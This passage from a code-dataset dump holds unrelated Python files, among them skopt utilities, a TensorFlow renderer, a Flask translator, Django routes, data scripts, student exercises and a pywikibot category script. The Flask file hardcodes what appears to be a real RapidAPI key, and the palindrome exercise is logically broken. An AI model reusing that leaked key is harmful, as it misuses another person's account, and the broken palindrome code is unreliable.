Xi[best]\n    res.fun = yi[best]\n    res.func_vals = yi\n    res.x_iters = Xi\n    res.models = models\n    res.model_mu = model_mu\n    res.model_std = model_std\n    res.gurobi_mipgap = gurobi_mipgap\n    res.space = space\n    res.random_state = rng\n    res.specs = specs\n    return res\n\n\ndef dump(res, filename, store_objective=True, **kwargs):\n    \"\"\"\n    Store an skopt optimization result into a file.\n\n    Parameters\n    ----------\n    res : `OptimizeResult`, scipy object\n        Optimization result object to be stored.\n\n    filename : string or `pathlib.Path`\n        The path of the file in which it is to be stored. The compression\n        method corresponding to one of the supported filename extensions ('.z',\n        '.gz', '.bz2', '.xz' or '.lzma') will be used automatically.\n\n    store_objective : boolean, default=True\n        Whether the objective function should be stored. Set `store_objective`\n        to `False` if your objective function (`.specs['args']['func']`) is\n        unserializable (i.e. if an exception is raised when trying to serialize\n        the optimization result).\n\n        Notice that if `store_objective` is set to `False`, a deep copy of the\n        optimization result is created, potentially leading to performance\n        problems if `res` is very large. If the objective function is not\n        critical, one can delete it before calling `skopt.dump()` and thus\n        avoid deep copying of `res`.\n\n    **kwargs : other keyword arguments\n        All other keyword arguments will be passed to `joblib.dump`.\n    \"\"\"\n    if store_objective:\n        dump_(res, filename, **kwargs)\n\n    elif 'func' in res.specs['args']:\n        # If the user does not want to store the objective and it is indeed\n        # present in the provided object, then create a deep copy of it and\n        # remove the objective function before dumping it with joblib.dump.\n        res_without_func = deepcopy(res)\n        del res_without_func.specs['args']['func']\n        dump_(res_without_func, filename, **kwargs)\n\n    else:\n        # If the user does not want to store the objective and it is already\n        # missing in the provided object, dump it without copying.\n        dump_(res, filename, **kwargs)\n\n\ndef load(filename, **kwargs):\n    \"\"\"\n    Reconstruct a skopt optimization result from a file\n    persisted with skopt.dump.\n\n    .. note::\n        Notice that the loaded optimization result can be missing\n        the objective function (`.specs['args']['func']`) if `skopt.dump`\n        was called with `store_objective=False`.\n\n    Parameters\n    ----------\n    filename : string or `pathlib.Path`\n        The path of the file from which to load the optimization result.\n\n    **kwargs : other keyword arguments\n        All other keyword arguments will be passed to `joblib.load`.\n\n    Returns\n    -------\n    res : `OptimizeResult`, scipy object\n        Reconstructed OptimizeResult instance.\n    \"\"\"\n    return load_(filename, **kwargs)\n\ndef normalize_dimensions(dimensions: list):\n    \"\"\"Create a ``Space`` where all dimensions are normalized to unit range.\n    This is particularly useful for Gaussian process based regressors and is\n    used internally by ``gp_minimize``.\n    Parameters\n    ----------\n    dimensions : list, shape (n_dims,)\n        List of search space dimensions.\n        Each search dimension can be defined either as\n        - a `(lower_bound, upper_bound)` tuple (for `Real` or `Integer`\n          dimensions),\n        - a `(lower_bound, upper_bound, \"prior\")` tuple (for `Real`\n          dimensions),\n        - as a list of categories (for `Categorical` dimensions), or\n        - an instance of a `Dimension` object (`Real`, `Integer` or\n          `Categorical`).\n         NOTE: The upper and lower bounds are inclusive for `Integer`\n         dimensions.\n    \"\"\"\n    space = Space(dimensions)\n    transformed_dimensions = []\n    for dimension in space.dimensions:\n        # check if dimension is of a Dimension instance\n        if isinstance(dimension, Dimension):\n            # Change the transformer to normalize\n            # and add it to the new transformed dimensions\n            dimension.set_transformer(\"normalize\")\n            transformed_dimensions.append(\n                dimension\n            )\n        else:\n            raise RuntimeError(\"Unknown dimension type \"\n                               \"(%s)\" % type(dimension))\n\n    return Space(transformed_dimensions)\n","sub_path":"entmoot/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":17716,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"467447067","text":"import math\nimport os\n\nimport numpy as np\nimport tensorflow as tf\n\nimport mesh_renderer\nimport camera_utils\nimport test_utils\n\ntf.reset_default_graph()\n# Set up a basic cube centered at the origin, with vertex normals pointing\n# outwards along the line from the origin to the cube vertices:\ncube_vertices = tf.constant(\n    [[-1, -1, 1], [-1, -1, -1], [-1, 1, -1], [-1, 1, 1], [1, -1, 1],\n     [1, -1, -1], [1, 1, -1], [1, 1, 1]],\n    dtype=tf.float32)\ncube_normals = tf.nn.l2_normalize(cube_vertices, dim=1)\ncube_triangles = tf.constant(\n    [[0, 1, 2], [2, 3, 0], [3, 2, 6], [6, 7, 3], [7, 6, 5], [5, 4, 7],\n     [4, 5, 1], [1, 0, 4], [5, 6, 2], [2, 1, 5], [7, 4, 0], [0, 3, 7]],\n    dtype=tf.int32)\nmodel_transforms = camera_utils.euler_matrices(\n    [[-20.0, 0.0, 60.0], [45.0, 60.0, 0.0]])[:, :3, :3]\n\nvertices_world_space = tf.matmul(\n    tf.stack([cube_vertices, cube_vertices]),\n    model_transforms,\n    transpose_b=True)\n\nnormals_world_space = tf.matmul(\n    tf.stack([cube_normals, cube_normals]),\n    model_transforms,\n    transpose_b=True)\n\n# camera position:\neye = tf.constant(2 * [[0.0, 0.0, 6.0]], dtype=tf.float32)\ncenter = tf.constant(2 * [[0.0, 0.0, 0.0]], dtype=tf.float32)\nworld_up = tf.constant(2 * [[0.0, 1.0, 0.0]], dtype=tf.float32)\nimage_width = 1920\nimage_height = 1080\nlight_positions = tf.constant([[[0.0, 0.0, 6.0]], [[0.0, 0.0, 6.0]]])\nlight_intensities = tf.ones([2, 1, 3], dtype=tf.float32)\nvertex_diffuse_colors = tf.ones_like(vertices_world_space, dtype=tf.float32)\n\nrendered = mesh_renderer.mesh_renderer(\n    vertices_world_space, cube_triangles, normals_world_space,\n    vertex_diffuse_colors, eye, center, world_up, light_positions,\n    light_intensities, image_width, image_height)\nimport skimage, skimage.io\nwith tf.Session() as sess:\n    images = sess.run(rendered, feed_dict={})\n    for image_id in range(images.shape[0]):\n        target_image_name = 'Gray_Cube_%i.png' % image_id\n        baseline_image_path = os.path.join('out',\n                                           target_image_name)\n        skimage.io.imsave(baseline_image_path, images[image_id])\n","sub_path":"mesh_renderer/simple.py","file_name":"simple.py","file_ext":"py","file_size_in_byte":2101,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"274486388","text":"from flask import Flask, request, render_template\r\nimport re\r\nimport requests\r\n\r\napp = Flask(__name__)\r\n\r\ndef check(language,output):\r\n    url = \"https://rapidapi.p.rapidapi.com/translateLanguage/translate\"\r\n    payload = \"{\\\"target\\\": \\\"\"+language+\"\\\",\\\"text\\\": \\\"\"+output+\"\\\",\\\"type\\\": \\\"plain\\\"\\r\\n}\"\r\n    \r\n    print(payload)\r\n    headers = {\r\n    'content-type': \"application/json\",\r\n    'x-rapidapi-key': \"5d797ab107mshe668f26bd044e64p1ffd34jsnf47bfa9a8ee4\",\r\n    'x-rapidapi-host': \"language-translation.p.rapidapi.com\"\r\n\r\n    }\r\n    response = requests.request(\"POST\", url, data=payload, headers=headers)\r\n    print(response.text)\r\n    return response.json()['translatedText']\r\n\r\n#home page\r\n@app.route('/')\r\ndef home():\r\n    return render_template('home.html')\r\n\r\n#home page\r\n@app.route('/translator')\r\ndef translator():\r\n    return render_template('translator.html')\r\n\r\n#translator page\r\n@app.route('/translate',  methods=['POST'])\r\ndef translate():\r\n    language=request.form['type']\r\n    output = request.form['output']\r\n    print(output)\r\n    translated = check(language,output)\r\n    return render_template('translate.html',translated=translated)\r\n\r\n    \r\nif __name__ == \"__main__\":\r\n    app.run(debug=True)\r\ns","sub_path":"hello.py","file_name":"hello.py","file_ext":"py","file_size_in_byte":1223,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"560952839","text":"from django.conf.urls import url, include\nfrom stock_prediction import views\nfrom stock_prediction.views import *\n\n\nurlpatterns = [\n    url(r'^register/$', views.register),\n    url(r'^login/$', views.login),\n    url(r'^logout/$', views.logout),\n    url(r'^main/$', views.main),\n    url(r'^classes/$', views.classes),\n    url(r'^compare/$', views.compare),\n    url(r'^add-stock/$', views.add_stock),\n    url(r'^response/$', views.respond_chat),\n    url(r'^learn/$', views.learn),\n    url(r'^detail/(?P<p>[\\w\\-\\_]+)/$',views.detail),\n    url(r'^news/$', views.news),\n\n]\n","sub_path":"financial_modeling_tool/stock_prediction/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":568,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"601019363","text":"def main():\n\t# using the dynamic 2 degree solution\n\tword = \"badad\"\n\tmat = [[False for i in range(len(word))] for j in range(len(word))]\n\n\tfor i in range(0, len(word)):\n\t\tmat[i][i] = True\n\n\n\tfor i in range(1, len(word)):\n\t\tfor j in range(0, len(word) - i):\n\t\t\tif(word[i] == word[j]):\n\t\t\t\tmat[i][j] = mat[i+1][j-1] and True\n\t\t\telse:\n\t\t\t\tmat[i][j] = False\n\n\tprint(mat)\n\nif __name__==\"__main__\":\n\tmain()\n\n","sub_path":"py3/1007_longest_palindrome_substring.py","file_name":"1007_longest_palindrome_substring.py","file_ext":"py","file_size_in_byte":401,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"368086309","text":"import utils, architectures, load_data\n\ntrain, cleaned= load_data.load_data(3)\n\nepochs = 101\nsave_every_epochs = 10\nnb_model = 1\nf_size = [3, 7, 15]\nnb_filters = 10\nname = 'm1'\nmodel = architectures.model(nb_model, f_size, nb_filters, name)\nmodel.fit(train, cleaned, epochs, save_models=list(range(0,epochs,save_every_epochs)))\n\n","sub_path":"code/train_script.py","file_name":"train_script.py","file_ext":"py","file_size_in_byte":329,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"441598695","text":"\"\"\"\nAuthor:     Alan Danque\nDate:       20210101\nClass:      DSC 650\nExercise:   7.1b\n\"\"\"\n\nimport hashlib\nimport pandas as pd\nfrom pathlib import Path\nimport pyarrow as pa\nimport pyarrow.parquet as parq\n\ndef hash_key(key):\n    m = hashlib.sha256()\n    m.update(str(key).encode('utf-8'))\n    return m.hexdigest()\n\nbase_dir = Path('C:/Users/aland/class/DSC650/dsc650/dsc650/assignments/assignment07/')\nresults_dir = base_dir.joinpath('results')\nparquet_file = results_dir.joinpath('routes.parquet')\npartitioned_parquet_file = results_dir.joinpath('hash')\ncsv_file = results_dir.joinpath('routes_parquet.csv')\ndata_dir = Path('C:/Users/aland/class/DSC650/dsc650/dsc650/assignments/assignment07/').joinpath('Data')\n\npq = pd.read_parquet(parquet_file, engine='fastparquet')\n\npq['key'] = pq['src_airport.iata']+pq['dst_airport.iata']+pq['airline.icao']\npq['hashed'] = pq.apply(lambda x: hash_key(x.key), axis=1)\npq['hash_key'] = pq['hashed'].str[:1]\n\n# For troubleshooting\n#pq.to_csv(csv_file, sep='\\t')\ntable = pa.Table.from_pandas(pq)\n\nparq.write_to_dataset(\n    table,\n    root_path=partitioned_parquet_file,\n    partition_cols=['hash_key'],\n)\n\nptable = parq.read_table(partitioned_parquet_file)\nprint(ptable)\n","sub_path":"run_Manage_Partitioning.py","file_name":"run_Manage_Partitioning.py","file_ext":"py","file_size_in_byte":1207,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"209403025","text":"import pprint\n\ndef conditions():\n    num1 = float(input(\"Number 1: \"))\n    num2 = float(input(\"Number 2: \"))\n    if num1 == num2:\n        print(\"They are equal\")\n    elif num1 > num2:\n        print(\"Num 1 is bigger\")\n    elif num2 > num1:\n        print(\"Num 2 is bigger\")\n\n\ndef musicChoice():\n    music = {\"pop\":\"Ed Sheeran\", \"rap\":\"Eminem\", \"rock\":\"Kaiser Chefs\"}\n    while True:\n        interest = input(f\"What type of music do you like? pop, rap, rock, exit \\n\")\n        if interest == \"exit\":\n            print(\"Exited\")\n            break\n        if not interest in music:\n            print(\"Invalid choice!\")\n            continue\n        else:\n            print(\"Your recommendation: \", music.get(interest))\n\n\ndef multipleChoiceQuiz():\n    score = 0\n    print(\"How do you change a string into an integer? int(), float(), str(), flint()\")\n    answer = input(\"\")\n    if answer == \"int()\":\n        print(\"Correct!\")\n        score += 1\n    else:\n        print(\"Incorrect!\")\n    print(\"What's the sign for greater than or equal to? =<, >=, <=, =>\")\n    answer = input(\"\")\n    if answer == \">=\":\n        print(\"Correct!\")\n        score += 1\n    else:\n        print(\"Incorrect!\")\n    print(\"What is the most commonly used language for writing OS? R, Python, C, Java\")\n    answer = input(\"\")\n    if answer == \"C\":\n        print(\"Correct!\")\n        score += 1\n    else:\n        print(\"Incorrect!\")\n    print(\"What does CPU stand for? Central Programming Unit, ComPUter, Computer Processing Unit, Central Processing Unit\")\n    answer = input(\"\")\n    if answer == \"Central Processing Unit\":\n        print(\"Correct!\")\n        score += 1\n    else:\n        print(\"Incorrect!\")\n    print(f\"The quiz is over! Your score: {score}\")\n    if score == 4:\n        print(\"You're a genius!\")\n    elif score == 3:\n        print(\"Almost a genius!\")\n    elif score == 2:\n        print(\"You've got some ways to go!\")\n    elif score == 1:\n        print(\"Better luck next time!\")\n    else:\n        print(\"Try harder.\")\n\n\ndef newspaper():\n    try:\n        papers = int(input(\"How many papers did you deliver each day? \"))\n        totPapers = papers * 7\n        payout = papers * 0.1\n        totPayout = payout * 7\n        print(f\"You delivered {totPapers} total papers, and earned {totPayout}$ this week.\")\n    except:\n        print(\"Invalid answer!\")\n        newspaper()\n\n\ndef tournGoals():\n    totGoals = 0\n    try:\n        games = int(input(\"How many games were played? \"))\n        for i in range(games):\n            newGoals = int(input(f\"How many goals were scored in Game {i+1}? \"))\n            totGoals += newGoals\n        average = totGoals / games\n        average = round(average,2)\n        print(f\"There were {games} games, and {totGoals} total goals scored. The average goals scored per game was {average}.\")\n    except:\n        print(\"Invalid input!\")\n        tournGoals()\n\ndef dictToString(dict):\n  return str(dict).replace(', ','\\r\\n').replace(\"u'\",\"\").replace(\"'\",\"\")[1:-1]\n\n\ndef restBills():\n    added = -1\n    items = {}\n    bill = 0\n    while added != 0:\n        try:\n            nameAdd = input(\"Item: \")\n            added = float(input(\"New Item Price: \"))\n            if nameAdd != \"0\":\n                items.update( {nameAdd:added} )\n            bill += added\n        except:\n            print(\"Invalid Input!\")\n    print(\"\\n Your Items: \\n\")\n    print(dictToString(items))\n    print(\"Total Cost: \", bill)\n\n\ndef simpleRestBills():\n    added = -1\n    bill = 0\n    while added != 0:\n        try:\n            added = float(input(\"New Item Price: \"))\n            bill += added\n        except:\n            print(\"Invalid Input\")\n    print(\"Bill: \", bill)\n\n\ndef darts():\n    score = 101\n    dartCount = 0\n    while not score <= 0:\n        try:\n            negScore = int(input(\"Number Landed On: \"))\n            dartCount += 1\n            score = score - negScore\n            print(\"Score Until 0: \", score)\n        except:\n            print(\"Invalid Input!\")\n    print(\"\\n Game Over! \\n\")\n    print(\"Your Score: \", score)\n    print(\"Darts Thrown: \", dartCount)\n\n\n#musicChoice()\n#multipleChoiceQuiz()\n#newspaper()\n#tournGoals()\n#restBills()\n#simpleRestBills()\n#darts()\n","sub_path":"U7/U7 L2.2.py","file_name":"U7 L2.2.py","file_ext":"py","file_size_in_byte":4159,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"4445408","text":"from django.urls import path\nfrom . import views\nfrom django.contrib.auth import views as auth_views\n\nurlpatterns = [\n    \n    path('', views.post_list, name = 'post_list'),\n    path('post/<int:pk>/', views.post_detail, name='post_detail'),\n    path('post/new/', views.post_new, name='post_new'),\n    path('login/', views.Account_login.as_view(), name='login'),\n    path('create_account/',views.Create_account.as_view(), name='Create_account'),\n    \n    ]\n","sub_path":"blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":456,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"431679401","text":"from textblob import TextBlob\n\nfrom openpyxl import load_workbook\nwb = load_workbook(filename='../input_files/Manualvalidation_weather.xlsx')\nws = wb['Sheet2']\n\nop = open(\"../output_files/outputTextBlob.csv\",\"w\")\n\nfor row in ws.rows:\n    for cell in row:\n        result = TextBlob(cell.value)\n        if result.sentiment.polarity > 0:\n            op.write(\"Positive\\n\")\n        elif result.sentiment.polarity == 0:\n            op.write(\"Neutral\\n\")\n        else:\n            op.write(\"Negative\\n\")\n\nop.close()","sub_path":"sentiment_apis/textblob.py","file_name":"textblob.py","file_ext":"py","file_size_in_byte":509,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"134888397","text":"import libtcodpy as doryen\n\ncolor_dark_wall = doryen.Color(0, 0, 100)\ncolor_light_wall = doryen.Color(130, 110, 50)\ncolor_dark_ground = doryen.Color(50, 50, 150)\ncolor_light_ground = doryen.Color(200, 180, 50)\n\nclass Renderer:\n    def __init__(self):\n        pass\n\n    def render_all(self):\n        from main import MAP_WIDTH, MAP_HEIGHT, SCREEN_WIDTH, SCREEN_HEIGHT, fovmap, localmap, map_display, objects\n        for x in range(MAP_WIDTH):\n            for y in range(MAP_HEIGHT):\n                visible = fovmap.visible(x, y)\n                wall = localmap.blocksight(x, y)\n                if not visible:\n                    if localmap.blockexplored(x, y):\n                        if wall:\n                            doryen.console_set_char_background(map_display, x, y, self.static_generator(\"wall\"), doryen.BKGND_SET)\n                        else:\n                            doryen.console_set_char_background(map_display, x, y, self.static_generator(\"ground\"), doryen.BKGND_SET)\n                else:\n                    if wall:\n                        doryen.console_set_char_background(map_display, x, y, color_light_wall, doryen.BKGND_SET)\n                    else:\n                        doryen.console_set_char_background(map_display, x, y, color_light_ground, doryen.BKGND_SET)\n                    localmap.setexplored(x, y)\n        for x in objects:\n            object_x, object_y = x.location()\n            if fovmap.visible(object_x, object_y):\n                x.draw()\n        doryen.console_blit(map_display, 0, 0, SCREEN_WIDTH, SCREEN_HEIGHT, 0, 0, 0)\n        doryen.console_flush()\n\n    def static_generator(self, type):\n        r = doryen.random_get_int(0, 0, 2)\n        if (type == \"wall\"):\n            return doryen.Color(40 + 3*r, 40 + 3*r, 50 + 3*r)\n        elif (type == \"ground\"):\n            return doryen.Color(20 + 3*r, 20 + 3*r, 30 + 3*r)\n","sub_path":"renderer.py","file_name":"renderer.py","file_ext":"py","file_size_in_byte":1876,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"109329717","text":"import matplotlib.pyplot as plt\nimport pandas as pd\nimport math\nimport numpy as np\n\nfrom sklearn import linear_model\nfrom sklearn.metrics import r2_score\nfrom sklearn.metrics import mean_squared_error\n\ndataset = pd.read_csv('data-files/data_all.csv')\nprint(dataset)\n\nfilter2 = dataset[dataset['gender'] == 'Male']\n#filter2 = dataset[dataset['hours_of_music'] == '2+ hours']\n\nplt.figure(1)\nplt.scatter(filter2.tempo, filter2.health, color='blue')\nplt.title('Mental health as a function of song tempo')\nplt.xlabel('tempo')\nplt.ylabel('health')\nplt.show()\n\n# plt.figure(2)\n# plt.scatter(dataset.tempo, dataset.enjoy_life, color='blue')\n# plt.title('Ability to enjoy life as a function of song tempo')\n# plt.xlabel('tempo')\n# plt.ylabel('ability to enjoy life')\n# plt.show()\n\nplt.figure(1)\nplt.scatter(filter2.valence, filter2.health, color='blue')\nplt.scatter(filter2.liveness, filter2.health, color='red')\nplt.title('Mental health as a function of song valence')\nplt.xlabel('valence in blue, liveness in red')\nplt.ylabel('health')\nplt.show()\n\nplt.figure(1)\nplt.scatter(filter2.energy, filter2.health, color='blue')\n#plt.scatter(filter2.dance, filter2.health, color='red')\nplt.title('Mental health as a function of song energy')\nplt.xlabel('energy in blue, dance in red')\nplt.ylabel('health')\nplt.show()","sub_path":"python-models/scatter_linear_Violin/filteredScatterPlot.py","file_name":"filteredScatterPlot.py","file_ext":"py","file_size_in_byte":1300,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"296132692","text":"#!/usr/bin/env python\n\nimport argparse\nfrom kubernetes.shell_utils import simple_run as run\n\ngenome_versions = ['37', '38']\n\np = argparse.ArgumentParser()\nargs, unparsed_args = p.parse_known_args()\n\nscript_args = \" \".join(['\"%s\"' % arg for arg in unparsed_args])\n\nrun(\" \".join([\n    \"python gcloud_dataproc/v01/run_script.py\",\n    \"--cluster gnomad\",\n    \"download_and_create_reference_datasets/v01/hail_scripts/write_gnomad_vds.py\",\n    \"{script_args}\",\n]).format(**locals()))\n","sub_path":"download_and_create_reference_datasets/v01/create_vds__gnomad.py","file_name":"create_vds__gnomad.py","file_ext":"py","file_size_in_byte":478,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"335494812","text":"import tkinter\n\nclass Interface:\n\n    def __init__(self, master, master_title):\n\n        self.master = master\n        master.title = master_title\n        self.master.attributes('-fullscreen', True)\n\n        self.master.update()\n\n        self.frame = tkinter.Frame(self.master, bg=\"orange\", width=self.master.winfo_width(), height=self.master.winfo_height())\n\n        self.frame.grid()\n\n        self.canvas = tkinter.Canvas(self.frame, bg =\"black\", width=self.master.winfo_width(), height=self.master.winfo_height(), bd=0, highlightthickness=0)\n\n        self.canvas.grid(row=0, column=0, rowspan=10, columnspan=3)\n\n\n        self.button_camera_on = tkinter.Button(\n            self.frame,\n            text=\"Camera On\",\n            bg=\"green\",\n            activebackground=\"lightgreen\",\n            fg=\"black\"\n        )\n\n        self.button_camera_on.grid(\n            row=9,\n            column=0,\n            sticky=tkinter.S\n        )\n\n\n        self.button_camera_off = tkinter.Button(\n            self.frame,\n            text=\"Camera Off\",\n            bg=\"darkred\",\n            activebackground=\"red\",\n            fg=\"black\"\n        )\n\n\n        self.button_camera_off.grid(\n            row=9,\n            column=1,\n            sticky=tkinter.S\n        )\n\n        # create and place speak button\n        self.button_speak = tkinter.Button(\n            self.frame,\n            text=\"Speak\",\n            bg=\"blue\",\n            activebackground=\"lightblue\",\n            fg=\"white\",\n            command=self.master.destroy\n        )\n\n        self.button_speak.grid(\n            row=9,\n            column=2,\n            sticky=tkinter.S\n        )\n\n        self.master.mainloop()\n\nInterface(tkinter.Tk(), \"Interface\")","sub_path":"test_tkinter.py","file_name":"test_tkinter.py","file_ext":"py","file_size_in_byte":1710,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"134420307","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\"\"\"\nThis script processes the Categories for discussion working page.\n\nIt parses out the actions that need to be taken as a result of CFD discussions\n(as posted to the working page by an administrator) and performs them.\n\nSyntax:\n\n    python pwb.py cfd\n\n\"\"\"\n#\n# (C) Ben McIlwain, 2008\n# (C) Pywikibot team, 2009-2018\n#\n# Distributed under the terms of the MIT license.\n#\nfrom __future__ import absolute_import, unicode_literals\n\nimport re\nimport sys\n\nimport pywikibot\n\nfrom scripts.category import CategoryMoveRobot as CategoryMoveBot\n\n\nDEFAULT_CFD_PAGE = 'Wikipedia:Categories for discussion/Working'\n\n# A list of templates that are used on category pages as part of the CFD\n# process that contain information such as the link to the per-day discussion page.\ncfdTemplates = ['Cfd full', 'Cfr full']\n\n# Regular expression declarations\n# See the en-wiki CFD working page at [[Wikipedia:Categories for discussion/Working]]\n# to see how these work in context. To get this bot working on other wikis you\n# will need to adjust these regular expressions at the very least.\nnobots = re.compile(r\"NO\\s*BOTS\", re.IGNORECASE)\nexample = re.compile(r\"\\[\\[:Category:(.)\\1\\1\\1\\1\\]\\]\", re.IGNORECASE)\nspeedymode = re.compile(r\"^===*\\s*Speedy Moves\\s*===*\\s*$\", re.IGNORECASE)\nmovemode = re.compile(r\"^===*\\s*Move/Merge then delete\\s*===*\\s*$\", re.IGNORECASE)\nemptymode = re.compile(r\"^===*\\s*Empty then delete\\s*===*\\s*$\", re.IGNORECASE)\ndeletemode = re.compile(r\"^===*\\s*Ready for deletion\\s*===*\\s*$\", re.IGNORECASE)\nmaintenance = re.compile(r\"^===*\\s*Old by month categories with entries\\s*===*\\s*$\", re.IGNORECASE)\ndateheader = re.compile(\n    r'(\\[\\[Wikipedia:Categories[_ ]for[_ ](?:discussion|deletion)/Log/([^\\]]*?)\\]\\])',\n    re.IGNORECASE)\nmovecat = re.compile(r'\\[\\[:Category:([^\\]]*?)\\]\\][^\\]]*?\\[\\[:Category:([^\\]]*?)\\]\\]',\n                     re.IGNORECASE)\ndeletecat = re.compile(r\"\\[\\[:Category:([^\\]]*?)\\]\\]\", re.IGNORECASE)\nfindday = re.compile(r'\\[\\[(Wikipedia:Categories for (?:discussion|deletion)/Log/\\d{4} \\w+ \\d+)#',\n                     re.IGNORECASE)\n\n\nclass ReCheck(object):\n\n    \"\"\"Helper class.\"\"\"\n\n    def __init__(self):\n        \"\"\"Initializer.\"\"\"\n        self.result = None\n\n    def check(self, pattern, text):\n        \"\"\"Search pattern.\"\"\"\n        self.result = pattern.search(text)\n        return self.result\n\n\ndef main(*args):\n    \"\"\"\n    Process command line arguments and perform task.\n\n    If args is an empty list, sys.argv is used.\n\n    @param args: command line arguments\n    @type args: list of unicode\n    \"\"\"\n    cfd_page = DEFAULT_CFD_PAGE\n    local_args = pywikibot.handle_args(args)\n\n    for arg in local_args:\n        if arg.startswith('-page'):\n            if len(arg) == len('-page'):\n                cfd_page = pywikibot.input('Enter the CFD working page to use:')\n            else:\n                cfd_page = arg[len('-page:'):]\n\n    page = pywikibot.Page(pywikibot.Site(), cfd_page)\n    try:\n        page.get()\n    except pywikibot.NoPage:\n        pywikibot.error(\n            'CFD working page \"{0}\" does not exist!'.format(cfd_page))\n        sys.exit(1)\n\n    # Variable declarations\n    day = 'None'\n    mode = 'None'\n    summary = ''\n    action_summary = ''\n    robot = None\n\n    m = ReCheck()\n    for line in page.text.split(\"\\n\"):\n        if nobots.search(line):\n            # NO BOTS!!!\n            pass\n        elif example.search(line):\n            # Example line\n            pass\n        elif speedymode.search(line):\n            mode = \"Speedy\"\n            day = \"None\"\n        elif movemode.search(line):\n            mode = \"Move\"\n            day = \"None\"\n        elif emptymode.search(line):\n            mode = \"Empty\"\n            day = \"None\"\n        elif deletemode.search(line):\n            mode = \"Delete\"\n            day = \"None\"\n        elif maintenance.search(line):\n            # It's probably best not to try to handle these in an automated fashion.\n            mode = \"None\"\n            day = \"None\"\n        elif m.check(dateheader, line):\n            day = m.result.group(1)\n            pywikibot.output(\"Found day header: %s\" % day)\n        elif m.check(movecat, line):\n            src = m.result.group(1)\n            dest = m.result.group(2)\n            thisDay = findDay(src, day)\n            if mode == \"Move\" and thisDay != \"None\":\n                summary = (\n                    'Robot - Moving category ' + src + ' to [[:Category:' +\n                    dest + ']] per [[WP:CFD|CFD]] at ' + thisDay + '.')\n                action_summary = 'Robot - Result of [[WP:CFD|CFD]] at ' + thisDay + '.'\n            elif mode == \"Speedy\":\n                summary = (\n                    'Robot - Speedily moving category ' + src +\n                    ' to [[:Category:' + dest + ']] per [[WP:CFDS|CFDS]].')\n                action_summary = 'Robot - Speedily moved per [[WP:CFDS|CFDS]].'\n            else:\n                continue\n            # If the category is redirect, we do NOT want to move articles to\n            # it. The safest thing to do here is abort and wait for human\n            # intervention.\n            destpage = pywikibot.Page(page.site, dest, ns=14)\n            if destpage.isCategoryRedirect():\n                summary = 'CANCELED. Destination is redirect: ' + summary\n                pywikibot.stdout(summary)\n                robot = None\n            else:\n                deletion_comment_same = (\n                    CategoryMoveBot.DELETION_COMMENT_SAME_AS_EDIT_COMMENT)\n                robot = CategoryMoveBot(oldcat=src, newcat=dest, batch=True,\n                                        comment=summary, inplace=True,\n                                        move_oldcat=True, delete_oldcat=True,\n                                        deletion_comment=deletion_comment_same,\n                                        move_comment=action_summary)\n        elif m.check(deletecat, line):\n            src = m.result.group(1)\n            # I currently don't see any reason to handle these two cases\n            # separately, though if are guaranteed that the category in the\n            # \"Delete\" case is empty, it might be easier to call delete.py on\n            # it.\n            thisDay = findDay(src, day)\n            if (mode == \"Empty\" or mode == \"Delete\") and thisDay != \"None\":\n                summary = (\n                    'Robot - Removing category {0} per [[WP:CFD|CFD]] '\n                    'at {1}.'.format(src, thisDay))\n                action_summary = 'Robot - Result of [[WP:CFD|CFD]] at ' + thisDay + '.'\n            else:\n                continue\n            robot = CategoryMoveBot(oldcat=src, batch=True, comment=summary,\n                                    deletion_comment=action_summary,\n                                    inplace=True)\n        if summary and robot is not None:\n            pywikibot.stdout(summary)\n            # Run, robot, run!\n            robot.run()\n        summary = \"\"\n        robot = None\n\n\ndef findDay(pageTitle, oldDay):\n    \"\"\"\n    Find day link from CFD template.\n\n    This function grabs the wiki source of a category page and attempts to\n    extract a link to the CFD per-day discussion page from the CFD template.\n    If the CFD template is not there, it will return the value of the second\n    parameter, which is essentially a fallback that is extracted from the\n    per-day subheadings on the working page.\n    \"\"\"\n    page = pywikibot.Page(pywikibot.Site(), u\"Category:\" + pageTitle)\n    try:\n        pageSrc = page.text\n    except pywikibot.NoPage:\n        m = None\n    else:\n        m = findday.search(pageSrc)\n\n    if m is not None:\n        return '[[{}]]'.format(m.group(1))\n\n    # Try to parse day link from CFD template parameters.\n    templates = page.templatesWithParams()\n    for template, params in templates:\n        if template.title() in cfdTemplates:\n            period = {'year': None, 'day': None, 'month': None}\n            for param in params:\n                name, _, val = param.partition('=')\n                if name in period:\n                    period[name] = val\n            if all(period.values()):\n                return ('[[Wikipedia:Categories for discussion/Log/'\n                        '{year} {month} {day}]]'.format(**period))\n    return oldDay\n\n\nif __name__ == \"__main__\":\n    main()\n","sub_path":"scripts/cfd.py","file_name":"cfd.py","file_ext":"py","file_size_in_byte":8307,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
